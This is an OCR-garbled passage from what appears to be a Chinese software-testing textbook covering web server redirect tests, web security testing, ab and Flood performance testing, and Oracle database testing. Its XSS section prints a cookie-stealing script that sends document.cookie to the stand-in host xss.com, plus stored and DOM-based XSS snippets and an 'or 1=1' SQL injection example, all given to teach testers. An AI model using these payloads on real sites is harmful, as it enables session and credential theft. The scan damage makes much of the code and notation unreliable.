配置 ) 和 目录 级 的 (在 . htaccess 中 配置 ) ,而 且 还 要 测试 重 定向 规则 支持 正则 表达 式 ,这 个 测 
试 工作 量 也 比较 大 。 例 如 ,要 将 119. 75. 213. 61 和 baidu. com 等 各 种 地 址 都 重 定向 为 
www. baidu. com, 可 在 httpd. conf 作 如 下 配置 : 


RewriteEngine on 

RewriteCond % {HTTP_HOST} ^baidu. com [NC] 
RewriteCond % {HTTP_HOST} *119.75.213.61 [NC] 
RewriteRule *(. * ) http://www. baidu. com/ [L] 


然后 进行 测试 ,以 验证 是 否 完成 正确 的 重 定向 。 当 然 ,还 可 以 构造 更 复杂 的 正则 表达 式 进行 
验证 。 

关于 重 定 向 的 更 详细 内 容 , 可 以 参考 : 

英文 : http://httpd. apache. org/docs/2. 2/mod/mod_rewrite. html 

中 文 : http://lamp. linux. gov. cn/Apache/ApacheMenu/mod/mod_rewrite. html 

服务 器 测试 过 程 中 ,如 果 发 现 了 问题 ,一 般 可 以 查 log 来 帮助 隔离 问题 ,从 而 能 准确 地 

告 问题 。 例 如 ,Apache 服务 器 日 志 内 容 , 可 以 参考 : 
英文 : http://httpd. apache. org/docs/2. 2/logs. html 
中 文 : http: //lamp. linux. gov. cn/ Apache/ApacheMenu/logs. html 


正则 表达 式 基本 约定 
文本 : 
任意 一 个 单字 符 
[chars] 字符 类 : "chars" 中 的 任意 一 个 字符 
[^chars] 字符 类 : 不 在 "chars" 中 的 字符 
text] |text2 选择 ; text] 或 text2 
Bid: 
? 前 面 的 字符 出 现 0 或 1 次 
* 前 面 的 字符 出 现 0 或 N 次 (N>0) 
F 前 面 的 字符 出 现 1 或 N 次 (N>1) 
DA: 
(text) text 组 (常用 于 设置 一 个 选择 的 边界 或 生成 后 引用 ) 
fi: 
A 锚 定 到 行 首 
$ 锚 定 到 行 尾 
转 义 
\c 对 给 定 的 字符 c 进行 转 义 


9.1.2 Web 安全 性 测试 


随 着 Internet 的 普及 ,网 上 购物 ,网 上 交易 .电子 银行 等 新 的 交易 方式 走 进 人 们 的 生活 ， 
同时 网 络 安全 越 来 越 不 容 忽视 。 在 这 些 应 用 中 ,通常 要 使 用 Web 页 面 来 传送 一 些 重 要 的 信 
息 , 如 信用 卡 信息 ,用 户 资料 信息 等 ,一 旦 这 些 信 息 被 黑客 捕获 ,后 果 将 不 堪 设 想 。 在 Web 
的 安全 性 测试 中 ,通常 需要 考虑 下 列 的 情形 : 

(1) 数据 加 密 。 某 些 数 据 需 要 进行 信息 加 密 和 过 滤 后 才能 在 客户 端 和 服务 器 之 间 进 行 
传输 ,包括 用 户 登 录 密码 信用卡 信 息 等 。 例 如 ,在 登录 某 银 行 网 站 时 ,该 网 站 必须 支持 SSL 
协议 ,通过 浏览 器 访问 该 网 站 时 ,地 址 栏 的 HTTP 变 成 HTTPS, 建 立 HTTPS 连接 。 这 相 
当 于 在 HTTP 协 议和 TCP 协议 之 间 增 加 了 一 层 加 密 一 一 SSL 协议 。SSL 是 利用 公开 密 
钥 /私有 密 钥 的 加 密 技 术 (RSA) ,建立 用 户 与 服务 器 之 间 的 加 密 通信 ,确保 所 传递 信息 的 安 
全 性 。 数 据 加 密 的 安全 性 还 包括 加 密 的 算法 、 密 钥 的 安全 性 。 

(2) 登录 或 身份 验证 。 一 般 的 应 用 站 点 都 会 使 用 登录 或 者 注册 后 使 用 的 方式 ,因此 , 必 
须 对 用 户 名 和 匹配 的 密码 进行 校 验 ,以 阻止 非法 用 户 登录 。 在 进行 登录 测试 的 时 候 , 需 要 考 
虑 输入 的 密码 是 否 大 小 写 敏感 ,是 否 有 长 度 和 条 件 限制 ,最 多 可 以 尝试 多 少 次 登录 ,哪些 页 
面 或 者 文件 需要 登录 后 才能 访问 /下 载 等 。 身 份 验证 还 包括 调用 者 身份 .数据库 的 不 同 访问 
身份 ,用户 授 权 等 ,并 区 分 公共 访问 和 受 限 访问 ,以 及 受 限 访问 的 资源 。 

(3) 输入 验证 。Web 页 面 有 很 多 表单 提交 ,实际 每 个 输入 域 都 可 能 是 一 个 潜在 的 风险 ， 
黑客 可 以 利用 文字 输入 框 ,将 攻击 性 的 脚本 输入 进去 ,提交 给 服务 器 处 理 , 来 攻击 服务 器 。 
有 时 ,也 可 以 在 输入 域 提交 一 些 危害 性 的 脚本 ,提交 上 去 , 隐 含 到 某 个 页 面 上 ,如 某 个 文件 的 
下 载 链接 , 当 另 外 一 个 用 户 单 击 链接 时 ,就 可 以 调用 相应 的 脚本 来 读 取 该 用 户 硬 盘 的 数据 或 


用 户 名 /口令 ,发 送出 去 ,类 似 于 木马 病毒 。 所 以 ,在 Web 安全 性 测试 时 ,每 个 输入 域 都 需要 
用 标准 的 机 制 验证 ,长度 .数据 类 型 等 符合 设 定 要 求 , 不 允许 输入 JavaScript 代码 ,包括 验证 
从 数据 库 中 检索 的 数据 ,传递 到 组 件 或 Web 服务 的 参数 等 。 

(4) SQL 注入 。 从 客户 端 提交 特殊 的 代码 ,以 收集 程序 及 服务 器 的 信息 ,从 而 获取 必要 
的 数据 库 信息 ,然后 基于 这 些 信 息 , 可 以 注入 某 些 参数 , 绕 过 程序 的 保护 ,针对 数据 库 服务 器 
进行 攻击 。 例 如 ,在 原 有 URL 地 址 后 面 加 一 个 恒 成 立 的 条 件 (如 or 1=1 或 or user>0) ,这 
样 ,可 以 绕 过 系统 的 保护 ,对 数据 库 进行 操作 。 

(5) 超时 限制 。Web 应 用 系统 一 般 会 设 定 “ 超 时 ”限制 , 当 用 户 长 时 间 ( 如 15 分 钟 ) 不 做 
任何 操作 时 ,需要 重新 登录 才能 打开 其 他 页 面 。 会 话 (Session) 的 安全 性 还 包括 交换 会 话 标 
识 符 ,会话 存 储 状态 等 的 安全 性 。 

(6) 目录 。Web 的 目录 安全 也 是 不 容 忽视 的 。 如 果 Web 程序 或 Web 服务 器 的 处 理 不 
适当 ,可 以 通过 简单 的 URL 替换 和 推测 ,使 整个 Web 目录 暴露 出 来 , 带 来 严重 的 安全 隐患 。 
可 以 采用 某 些 方法 将 这 种 隐患 降低 到 最 小 程度 ,如 每 个 目录 下 都 存在 index. htm, 以 及 严格 
设 定 Web 服务 器 的 目录 访问 权限 。 

(7) 操作 留 痕 。 为 了 保证 Web 应 用 系统 的 安全 性 ,日 志文 件 是 至 关 重 要 的 。 需 要 测试 
相关 信息 是 否 写 和 信 了 日 志文 件 , 是 否 可 追踪 。 


跨 站 点 攻击 (xcross-site scripting, XSS) 

XSS 可 以 让 攻击 者 在 页 面 访问 者 的 浏览 器 中 执行 JavaScript 脚本 ,从 而 可 以 获得 用 
户 会 话 的 安全 信息 、 插 入 恶意 的 信息 或 植 入 病毒 等 。 按 照 注 入 的 途径 ,一 般 分 为 三 种 ， 
反射 (Reflected)、 基 于 DOM 文档 对 象 模型 (DOM-based) 和 存储 (store) 。 

1. Reflected XSS 

当 表单 中 输入 的 内 容 , 提 交 到 服务 器 后 未 经 过 安全 检查 或 重新 编码 ,立即 显示 在 返 
回 的 页 面 上 ,同时 执行 恶意 的 脚本 。 攻 击 者 利用 一 些 存 在 漏洞 的 网 站 上 的 表单 ,构造 一 
些 含有 恶意 代码 的 URL, 当 这 个 URL 被 单 击 时 ,站 点 遭受 攻击 。 例 如 ,在 搜索 的 关键 字 
文本 框 中 输入 : 

< script> var + img = new + Image(); img. src = "http://xss. com/" % 20 + % 20document. cookie; 

</script> 

这 个 页 面 没 有 过 滤 和 处 理 该 字符 串 , 作 为 关键 字 的 这 段 代 码 , 直 接 回 显 在 搜索 结果 
页 面 上 的 话 , 就 变 成 了 : 

img. src = "http://xss. com/" + document. cookie; 

恶意 者 将 搜索 结果 页 面 的 link 发 给 其 他 人 ,被 单 击 后 ,执行 的 结果 则 将 该 网 站 路 径 下 
的 Cookie 发 到 http://xss. com, 从 而 暴露 了 安全 信息 (如 Cookie 保存 的 用 户 名 、 密 码 ) 。 

2. Stored XSS 

机 理 类 似 于 基于 反射 的 XSS, 它 只 是 将 攻击 代码 提交 给 服务 器 端的 数据 库 或 文件 
系统 中 。 不 用 构造 一 个 URL, 而 是 保存 在 一 篇 文章 或 一 个 论坛 帖子 中 ,从 而 使 得 访问 该 
页 面 的 用 户 都 有 可 能 受到 攻击 。 


举例 来 说 ,在 论坛 的 帖子 中 包含 以 下 代码 : 


var objHTTP, strResult; objHTTP = new ActiveXObject( 'Microsoft. XMLHTTP') ; 

objHTTP. Open( "POST'，"< 某 个 表单 指向 的 Action >", false); 

objHTTP. setRequestHeader( ‘Content - Type’, 'application/x — www -— form— urlencoded') ; 

objHTTP. send( "< 构造 的 请 求 内 容 >"); strResult = objHTTP. responseText; 

当 其 他 用 户 访问 该 文章 时 ,这 里 的 脚本 就 会 被 执行 ,而 且 是 以 当前 用 户 的 身份 执行 
的 。 因 为 使 用 XMLHttpRequest() 时 会 同时 发 出 用 户 的 Cookie, 从 而 可 以 获得 当前 用 
户 的 权限 。 

3. DOM-based XSS 


假设 有 个 名 为 http://www. mysite. com 的 站 点 ,用 户 登录 后 会 进入 一 个 欢迎 页 面 
welcome. html, welcome 页 面包 含 以 下 的 一 段 代码 : 
<HTML> 
< TITLE > Welcome! </TITLE > 
Hi 
< Script> 
var pos = document. URL. indexOf("name =") + 5; 
document. write(document. URL. substring( pos, document. URL. length) ) ; 
</script >< BR> 
Welcome to our system 


</HTML> 
一 般 情 况 下 ,用 户 通 过 链接 http://www. mysite. com/welcome. html? name = 


Chico ,进入 到 welcome 页 面 ,其 上 会 显示 “Hi Chico” 这 样 的 文字 。 
试想 如 果 输 入 : 


http://www. mysite. com/welcome. html?name =< script > alert(document. cookie)</script > 


这 样 的 地 址 会 发 生 什么 情况 呢 ? 页面 中 已 被 植 入 < script> alert(document. cookie) 
</script> 这 样 的 JavaScript 代码 ,并且 会 被 执行 。 

基于 DOM 的 XSS 攻击 ,恶意 代码 是 借助 于 DOM 本 身 的 问题 而 被 植 入 的 ,表现 在 
客户 端的 浏览 器 中 ; 恶意 代码 来 源 于 别处 (查询 字符 串 中 ,或 调用 的 其 他 的 外 部 网 站 的 
内 容 片段 ); name 一 这 样 的 查询 参数 也 可 以 通过 一 些 技术 手段 让 服务 器 端 忽略 ,而 不 做 
任何 的 安全 验证 。 


9.1.3 Web 性 能 测试 


在 Web 性 能 测试 中 ,关键 的 是 确定 其 测试 的 需求 。 一 般 有 两 种 方式 来 描述 Web 的 性 
能 测试 需求 , 即 : 

CL) 基于 Web 应 用 系统 的 在 线 用 户 和 响应 时 间 来 度量 系统 性 能 ,适合 企业 的 内 部 Web 
应 用 系统 ,因为 容易 获得 负载 数据 一 一 上 线 后 所 支持 的 在 线 用 户 数 以 及 业务 操作 习惯 。 这 
类 测试 需求 可 描述 为 : 50 个 在 线 用 户 按 正常 操作 速度 访问 系统 ,页 面 响应 时 间 不 大 于 3 秒 ， 


事物 处 理 的 成 功率 应 达到 100%; 而 当 在 线 用 户 达 到 峰值 200 时 ,页 面 响应 时 间 不 大 于 8 
秒 ,事物 处 理 的 成 功率 应 大 于 90% 。 

(2) 基于 Web 应 用 系统 的 吞吐 量 和 响应 时 间 来 度量 系统 性 能 。 当 Web 应 用 在 上 线 后 
所 支持 的 在 线 用 户 无 法 确定 ,如 基于 Internet 的 网 上 购物 系统 ,可 通过 每 天 下 订单 的 业务 量 
直接 计算 其 吞吐 量 , 从 而 采取 基于 吞吐 量 的 方式 来 描述 性 能 测试 需求 ,如 可 描述 为 : 网 上 购 
物 系统 在 每 分 钟 内 需 处 理 20 笔 订 单 提交 ,交易 成 功率 为 100% ,而且 90% 的 请 求 响应 时 间 
不 大 于 8 秒 。 

关于 Web 性 能 指标 ,还 可 以 参考 标准 性 能 评估 公司 (Standard Performance Evaluation 
Corporation, SPEC) 网 站 http://www. spec. org/benchmarks. html # web. 

如 何 确定 在 线 用 户 数量 呢 ? 可 以 根据 系统 可 能 访问 用 户 数 以 及 每 个 用 户 访问 系统 的 时 
间 长 短 来 确定 。 例 如 , 某 个 企业 内 部 的 Web 应 用 系统 ,通过 分 析 获 得 该 系统 有 10 000 个 注 
册 用 户 , 每 天 有 一 半 用 户 会 在 上 班 时 间 (8 个 小 时 ) 访 问 这 个 系统 ,平均 在 线 时 间 为 30 分 钟 ， 
那么 该 Web 应 用 系统 的 平均 在 线 数 ( 即 Session 连接 数 ) 约 为 300 个 (10 000/2X0. 5/8) , 假 
设 在 线 用 户 数 峰值 是 平均 在 线 用 户 数 的 3 倍 , 则 性 能 测试 需求 的 在 线 用 户 数 可 定 为 900。 
而 系统 数据 吞吐 量 可 通过 统计 获得 , 即 得 到 单位 时 间 内 Web 应 用 系统 需 成 功 处 理 多 少 笔 交 
易 。 例 如 ,每 天 访问 系统 的 5000 用 户 ,平均 进行 5 次 查询 , Web 服务 器 平均 每 分 钟 要 处 理 
52 个 事务 ( 即 5000X5/480) 。 如 果 考 虑 到 峰值 因素 ,要求 每 分 钟 能 处 理 大 约 150 个 事务 。 

由 于 时 间 和 资源 限制 ,不 可 能 对 Web 应 用 系统 的 所 有 功能 进行 性 能 测试 ,而 是 根据 业 
务 的 实际 操作 情况 和 技术 的 角度 来 分 析 , 选 择 关键 业务 。 例 如 ,企业 内 部 的 Web 应 用 系统 的 
登录 操作 就 是 一 项 关键 业务 操作 ,多 数 用 户 一 到 办 公 室 就 登录 系统 ,所 以 系统 登录 操作 的 在 线 
用 户 峰 值 会 出 现在 早上 上 班 时 间 。 而 对 于 电子 商务 系统 ,商品 查询 操作 是 最 多 的 。 每 个 用 户 
访问 系统 ,首先 就 查询 感 兴趣 的 商品 。 真 正 买 东西 的 用 户 不 一 定 很 多 ,但 查询 操作 都 少不了 。 

接 下 来 还 要 确定 具体 的 负载 参数 ,包括 发 送 请 求 的 虚拟 用 户 数 、 每 个 虚拟 用 户 发 送 请 求 
的 速度 和 频率 ( 即 思考 时 间 )。 如 果 是 基于 在 线 用 户 的 性 能 测试 需求 ,可 以 将 录制 脚本 时 记 
录 的 思考 时 间作 为 基准 ,以 此 将 思考 时 间 设 置 成 一 定 范围 内 的 随机 值 。 基 于 吞吐 量 的 性 能 
测试 需求 ,可 以 把 思考 时 间 设 置 为 零 。 

测试 的 结果 要 绘 出 负载 和 系统 性 能 指标 之 间 的 关系 , 即 当 负载 随时 间 发 生变 化 时 系统 
的 性 能 指标 相应 的 变化 趋势 ,如 并 发 用 户 数 从 10 个 一 直 增加 到 300 个 时 ,页 面 响应 时 间 的 
变化 趋势 。 也 可 以 绘 出 并 发 用 户 数 、 响 应 时 间 以 及 数据 吞吐 量 之 间 的 关系 曲线 。 一 般 来 说 ， 
并 发 用 户 数 增加 时 页 面 的 响应 时 间 也 增加 。 服 务 器 的 数据 吞吐 量 不 同 于 响应 时 间 , 刚 开始 
随 并 发 用 户 数 增加 而 吞吐 量 增加 ,当知 吐 量 到 达 一 定 峰值 后 ,再 增加 并 发 用 户 数 ,吞吐 量 会 
减少 。 原 因 在 于 当 并 发 用 户 数 少时 ,向 Web 服务 器 提交 的 请 求 量 不 大 ,服务 器 处 理 能 力 还 
有 富余 ,所 以 吞吐 量 逐 步 增 大 ; 但 当 并 发 用 户 数 超过 某 一 值 时 ,由 于 向 服务 器 提交 的 请 求 太 
多 ,造成 服务 器 阻塞 ,反而 导致 吞吐 量 减 少 。 


Apache 提供 的 性 能 测试 工具 ab 
ab 的 全 称 是 ApacheBench, 是 Apache 附带 的 一 个 小 工具 ,专门 用 于 HTTP Server 
的 benchmark testing, 可 以 同时 模拟 多 个 并 发 请 求 。ab 命令 带 很 多 参数 ,例如 常用 
的 有 : 


-a auth-username : password: 向 服务 器 提供 基本 认证 信息 。 用 户 名 和 密码 之 间 由 
一 个 ":" 隔 开 , 并 将 被 以 base64 编码 形式 发 送 。 无 论 服务 器 是 否 需要 ( 即 是 否 发 送 了 401 
认证 需求 代码 ) ,此 字符 串 都 会 被 发 送 。 

-c concurrency; 一 次 产生 的 请 求 个 数 。 默 认 是 一 次 一 个 。 

-c cookie-name = value 

-I : 执行 HEAD 请 求 ,而 不 是 GET。 

-k : 启用 KeepAlive 功能 , 即 在 一 个 HTTP 会 话 中 执行 多 个 请 求 。 默 认 不 启用 
KeepAlive 功能 。 

-p POST-file: 包含 了 POST 数据 的 文件 。 

更 多 的 参数 见 : 

英文 : http://httpd. apache. org/docs/2. 0/programs/ab. html 

中 文 ; http://www. phpchina. com/manual/apache/programs/ab. html 

示例 一 : ab -n 30 -c 10http://www. ussite. com/， 即 发 送 30 个 请 求 ,每 次 发 送 10 个 
并 发 请 求 ,看 该 国外 Web 站 点 ussite. com 性 能 如 何 。 

This is ApacheBench, Version 2.3 <$ Revision: 655654 $> 


Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www. zeustech. net/ 
Licensed to The Apache Software Foundation, http://www. apache. org/ 


Benchmarking www. ussite. com (be patient) -- done 


Server Software: gws 

Server Hostname: www. ussite. com 

Server Port: 80 

Document Path: / 

Document Length: 5958 bytes 

Concurrency Level: 10 // 并 发 水 平 

Time taken for tests: 2.672 seconds 

Complete requests: 30 // 完 成 的 请 求 数 

Failed requests: 24 // 失 败 的 请 求 数 
(Connect: 0, Receive: 0, Length: 24, Exceptions: 0) 

Write errors: 0 

Total transferred: 196080 bytes // 数 据 传输 量 

HTML transferred: 179280 bytes 

Requests per second: 11.23 [ #/sec] (mean) // RPS: 每 秒 的 数据 传输 量 (吞吐 量 ) 

Time per request: 890.625 [ms] (mean) //TPR: 响应 时 间 

Time per request: 89.063 [ms] (mean, across all concurrent requests) 

Transfer rate: 71.67 [Kbytes/sec] received // 传 输 速率 

Connection Times (ms) // 连 接 时 间 ,分 最 小 值 . 平 均值 .瞬时 值 .最 大 值 

min mean [+/- sd] median max 
Connect: 78 81 6.4 78 94 


Processing: 172 630 204.1 734 766 


Waiting: 78 381 190.8 406 734 
Total: 250 711 204.5 813 844 


Percentage of the requests served within a certain time (ms) 


50% 813 
66% 828 
15% 828 
80% 844 


100 % 844 (longest request) 
示例 二 : 如 果 将 目标 服务 器 改 为 国内 站 点 http://www. chinasite. cn/ ,其 命令 参数 
不 变 , 结 果 显 示 成 功率 达到 100% ,性 能 也 有 很 大 提高 。 


ab -n30 -c 10 http://www. chinasite. cn/ 


Concurrency Level: 10 

Time taken for tests: 1.063 seconds 

Complete requests: 30 

Failed requests: 0 

Write errors: 0 

Total transferred: 120120 bytes 

HTML transferred: 109230 bytes 

Requests per second: 28.24 [ #/sec] (mean) 

Time per request: 354.167 [ms] (mean) 

Time per request: 35.417 [ms] (mean, across all concurrent requests) 
Transfer rate: 110. 40 [Kbytes/sec] received 


Connection Times (ms) 
min mean[ +/- sd] median max 


Connect: 31 34 -5:9 31 47 

Processing: 31 256 87.2 297 313 
Waiting: 31 181 84.5 172 313 
Total: 78 290 86.6 328 344 


Percentage of the requests served within a certain time (ms) 


50% 328 
66% 344 
75% 344 


100 % 344 (longest request) 


示例 三 : 增加 负载 ,做 一 个 相对 有 意义 的 性 能 测试 ,结果 更 真实 显示 该 站 点 的 性 能 
数据 。 


ab - n 300 -c20 http://www. chinasite. cn/ 


Concurrency Level: 20 
Time taken for tests: 131.766 seconds 


Complete requests: 300 

Failed requests: 0 

Write errors: 0 

Total transferred: 1201200 bytes 

HTML transferred: 1092300 bytes 

Requests per second: 2.28 [#/sec] (mean) 

Time per request: 8784.375 [ms] (mean) 

Time per request: 439.219 [ms] (mean, across all concurrent requests) 
Transfer rate: 8.90 [Kbytes/sec] received 


Connection Times (ms) 
min mean[ +/- sd] median max 


Connect: 31 437 1018.9 31 3063 
Processing: 31 8320 2512.4 9484 12719 
Waiting: 31 5130 3200.7 6234 12609 
Total: 63 8757 2525.4 9547 12750 


Percentage of the requests served within a certain time (ms) 


50% 9547 
66% 9609 
95% 12547 


100% 12750 (longest request) 


9.1.4 性 能 测试 工具 Flood 


Apache HTTP 工程 包含 了 一 个 名 为 HTTPD-Test 的 子 工程 一 一 Apache 的 通用 测试 
工具 包 , 它 包含 了 不 少 测试 工具 ,而 其 中 Flood(http://httpd. apache. org/test/flood/) ft A 
们 经 常 使 用 的 一 个 Web 性 能 测试 工具 。Flood 使 用 XML 文件 来 完成 性 能 测试 设置 ,如 请 
OKAY URL, POST 数据 等 ,其 测试 操作 过 程 如 下 : 

。 打开 一 个 到 服务 器 的 socket; 

。 向 socket 写 人 对 服务 器 的 请 求 ; 

。 读 出 服务 器 的 响应 ; 
。 关闭 socket, 

然后 就 可 以 确定 Web 服务 器 相关 的 性 能 测试 结果 。 

1. 安装 

先 从 cvs 下 载 源 代码 ,然后 进行 构造 ,形成 可 执行 软件 包 。 


cvs -d :pserver:anoncvs@cvs. apache. org:/home/cvspublic login 

cvs -d :pserver:anoncvs@cvs. apache. org: /home/cvspublic co httpd - test/flood 
cd httpd- test/flood 

cvs -d :pserver:anoncvs@cvs. apache. org: /home/cvspublic co apr 

cvs -d :pserver:anoncvs@cvs. apache. org: /home/cvspublic co apr — util 
buildconf 

configure 

make all 


WWW 


2. 设置 Flood 

Flood 通过 一 个 XML 格式 的 设置 文件 来 定义 测试 中 使 用 的 各 种 参数 。Flood 使 用 简 
要 表 (Profile) 来 定义 一 组 给 定 的 URL 如 何 被 访问 ,具体 的 访问 由 一 个 或 多 个 用 户 组 
(Farmer) 来 进行 ,而 这 些 用 户 组 由 Farm 来 管理 。 例 如 ,有 两 组 用 户 ,其 中 Joe 组 使 用 
Profile A 与 一 个 包含 5 个 地 址 的 URL 列表 ,而 Bob 组 使 用 Profile 与 一 个 包含 三 个 URL 
的 地 址 列表 ,这 些 虚 拟 用 户 直 接 向 Web 服务 器 请 求 列表 中 的 地 址 ,如 图 9-1 所 示 。 


WRI se 3} Profile aj Profile BJ 
URL 2 
URL 3 | | 
is | TSERE ss, 
/ ` 
l 1 
1 d Joel Bobl | ! 
1 1 
A l 
J | 12 Bob2 | | 被 测试 的 
1 服务 器 
Farmer 2— -| Joe3 Bob 3 1 
l 1 
1 1 
Bob 4 1 
1 


图 9-1 Flood 配置 参数 之 间 关 系 的 示意 图 


Flood 使 用 线程 来 创建 各 个 Farmer, 然 后 比较 各 个 Farmer 收集 到 的 数据 并 存 人 一 个 
单独 的 文件 以 便 之 后 做 进一步 的 处 理 。XML 文件 包括 了 性 能 测试 所 定义 的 参数 : URL 列 
K „Profile, Fram 和 Farmer, 

Farmer 负责 实际 的 请 求 过 程 ,包括 使 用 哪 一 个 访问 简要 表 及 其 调用 次 数 ,而 Farm 的 
定义 涉及 创建 Farmer 的 数目 和 时 间 。 通 过 增加 一 个 Farm, 可 以 创建 更 多 的 Farmer, 即 增 
加 并 发 请 求 的 数目 。 而 且 , 可 以 设置 Farmer 的 初始 数目 ,然后 每 隔 一 定 的 时 间 增 加 一 定 的 
Farmer 数量 ,直至 某 个 数量 (最 大 负载 ) 。 例 如 ,初始 为 10 个 Farmer, 每 分 钟 增加 10 个 , 直 
至 加 到 100 个 Farmer。 

这 样 通过 调节 Farmer、Farm 和 URL 列表 的 参数 ,可 以 控制 测试 的 负载 (请 求 数 和 请 求 
的 时 间 ) 。 

。 地 址 列表 定义 了 Farmer 将 访问 的 地 址 。 

。 每 个 Farmer 的 重复 数目 定义 了 一 个 虚拟 用 户 访问 站 点 的 次 数 。 

。 Farmer 数量 相当 于 并 发 用 户 的 多 少 。 

3. 实例 


Flood 官方 网 站 提供 了 不 少 实例 ,例如 : 

e Round-robin annotated flood config example 

e An example using dynamic content-specific variables 
e An example using keepalives 

e An example using SSL 

e An example using timers 


¢ A sh/gawk script that shows how to interpret the relative_times output of flood 


其 中 第 一 个 实例 特别 适合 初学 者 ,因此 将 关键 的 内 容 列 在 下 面 ,并 将 注释 改 成 中 文 ,有 利于 
大 家 学 习 。 


<flood configversion= "1"> 
<! 一 urllist 描述 要 访问 的 主机 和 方法 -一 > 
<urllist> 
<name> Test Hosts </name> 
<description>A bunch of hosts we want to hit </description> 
<! 一 先 向 search. apache. org 发 送 POST 方式 请 求 ,搜索 "foo"。 请 求 方 式 可 以 是 GET/POST/ 
HEAD 中 的 一 种 -> 
<url method = "POST" 
payload = "version = 2&amp; keyword = foo&amp; results = 20&amp; what = apr. apache. org"> 
http: //search. apache. org/ index. cgi </url > 
<! —— 向 www. apache. org 发 送 HEAD 方式 请 求 -- > 
<url method = "HEAD"> http://www. apache. org/</url > 
<! -一 向 dev. apache. org 发 送 GET 方式 请 求 --> 
<url method = "GET"> http://dev. apache. org/</url > 
<! 一 默认 方法 就 是 GET --> 
<url > http://apr. apache. org/</url > 
</urllist > 


<! 一 profile 描述 如 何 访问 urllists, 例 如 在 Round robin profile 中 顺序 执行 urllist 的 URLs -- > 
<profile> 

<name> Example Profile</name> 

<description>A Test Round Robin Conf iguration</description> 


<! 一 见 上 。 这 指定 要 访问 的 URLs --> 
<useurllist > Test Hosts </useurllist > 


<! 一 说 明 使 用 round_robin profile 的 逻辑 --> 
<profiletype> round_robin</profiletype > 
<! -- 说 明 使 用 通常 的 socket 逻辑 。 其 中 选项 keepal ive 表明 尝试 使 用 HTTP Keepalive --> 
< socket > generic </socket > 
<! -一 说 明 使 用 verify_200 来 完成 响应 的 验证 - 从 服务 器 那里 收 到 2xx 或 3xx 状态 码 --> 
<verify_resp> verify_200 </verify_resp> 
<! -- 说 明 使 用 relative_times 产生 报告 --> 
<report > relative times </report > 
</profile> 


<! -- farmer Joe 会 多 次 执行 一 个 profile --> 
<farmer> 
< name > Joe </name > 
<! 一 执行 5 次 farmer Joe. jE time 选项 一 一 执行 多 少 秒 时 间 。time 和 count 不 能 同时 使 
H --> 
<count > 5 </count > 
<! -一 Farmer Joe 使 用 下 列 profile--> 
<useprofile> Example Profile</useprofile> 
</farmer > 


<! 一 一 个 farm 包 含 一 系列 的 farmers, 每 个 farmer 是 独立 工作 的 用 户 ( 即 线程 或 子 进程 ) -一 > 


<farm> 
<name> Bingo </name > 
<! 一 开始 启动 5 个 farmers, 然后 每 5 秒 钟 启动 2 个 farmers --> 
<usefarmer count = "5" startcount = "2" startdelay = "5"> Joe </usefarmer > 


</farm> 


<! 一 为 种 子 设 定 给 定 值 使 同样 的 测试 再 现 。Flood 使 用 随机 数 产 生 种 子 的 方法 PRNG --> 
< seed> 1 </seed> 
</flood> 


4. 扩展 
新 闻 类 站 点 会 采用 动态 技术 ,首页 (Homepage) 访 问 量 也 相对 大 得 多 ,而 且 用 户 通过 
RSS/RDF 订阅 服务 可 以 直接 浏览 内 容 页 (story page). 这 样 , 一 部 分 用 户 的 流量 从 
Homepage 被 分 流 到 story page. Flood 是 测试 新 闻 站 点 的 一 个 不 错 工具 ,可 以 用 表 9-1 所 
示 的 参数 设置 来 模拟 访问 特性 。 
表 9-1 新 闻 类 站 点 性 能 测试 的 参数 设置 


Farmer 方案 A Farmer J B Farmer 方案 C 
URL 列表 仅 访问 首页 首页 十 3 个 内 容 页 面 3 个 内 容 页 面 
重复 次 数 20 3 3 
总 请 求 数 200 20 50 
开始 数 50 5 5 
间隔 时 间 ï 5 5 


9.2 ”基于 数据 库 应 用 服务 器 的 测试 


数据 库 服务 器 是 构成 应 用 系统 的 重要 部 分 ,为 应 用 系统 提供 数据 服务 ,包括 数据 检索 、 
存储 等 功能 。 例 如 ,Oracle 数据 库 包 括 两 部 分 数据 库 实 例 (Instance) 和 数据 库 , 如 图 9-2 所 
WHP: 

。 实例 是 访问 数据 库 的 一 种 方法 ,包括 了 内 存 结构 和 后 台 进 程 结 构 。 一 般 情 况 下 是 一 
个 实例 对 应 一 个 数据 库 ,而 在 集群 (Real Application Cluster, RAC) 情 况 下 , 则 是 多 
个 实例 对 应 一 个 数据 库 。 用 户 连 接 到 服务 器 ,实际 就 是 连接 到 实例 。 
Oracle 数据 库 则 主要 包括 了 一 些 文件 及 其 对 这 些 文件 进行 操作 (如 Writer) ,监控 
(monitor) 的 机 制 , 如 数据 文件 (data file) 、 控 制 文件 (control file)、 重 做 日 志 (redo 
log file) 3c fF, B BMC F (parameter file) ,口令 文件 (password file) 和 归档 文件 
(archived files) 。 

由 于 篇 幅 所 限 ,不 能 对 服务 器 各 个 组 件 测试 进行 深入 讨论 ,本 节 还 是 从 应 用 角度 来 针对 
数据 库 服务 器 性 能 测试 .并 发 控制 过 程 的 测试 等 进行 讨论 。 


9.2.1 数据 库 服务 器 性 能 测试 
数据 库 服务 器 性 能 测试 主要 从 两 个 方面 考虑 ,一 个 是 大 数据 量 测试 , 另 一 个 是 大 容量 数 
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图 9-2 Oracle 数据 库 服务 器 构成 示意 图 


据 测 试 。 

1. 大 数据 量 测试 

数据 库 的 容量 是 表征 数据 库 服 务 器 性 能 的 一 个 重要 标准 ,在 测试 中 , 当 大 数据 量 在 数据 
库 中 存在 时 ,系统 的 性 能 肯定 会 受到 影响 ,合理 的 数据 库 服 务 器 管理 程序 以 及 数据 库 结 构 将 
会 将 这 种 变化 降低 到 最 小 ,例如 在 大 数据 量 (成 千 上 万 、 几 十 万 条 记录 ) 处 理 时 ,通过 数据 库 
表 的 索引 定义 .数据库 表 空 间 、LOG 大 小 将 会 直接 影响 到 数据 库 的 存储 /检索 性 能 和 速度 ， 
另外 ,数据 库 服务 器 的 CPU 占用 率 也 会 受到 影响 ,在 数据 库 服务 器 上 ,不 应 该 由 于 这 样 的 
操作 导致 数据 库 系统 的 负荷 超载 甚至 崩溃 。 

例如 有 这 样 一 个 查阅 书籍 销量 的 Web 程序 ,使 用 B/S 结构 ,用 户 可 以 通过 浏览 器 页 面 
来 访问 Web 服务 器 ,Web 服务 器 从 另外 的 Linux 上 的 Oracle 数据 库 服 务 器 上 读 取 数据 ,页 
面 上 显示 所 有 当天 /当月 的 售 书信 息 , 其 表 结 构 如 表 9-2 所 示 。 


表 9-2 表 的 结构 saledbooksinfo 


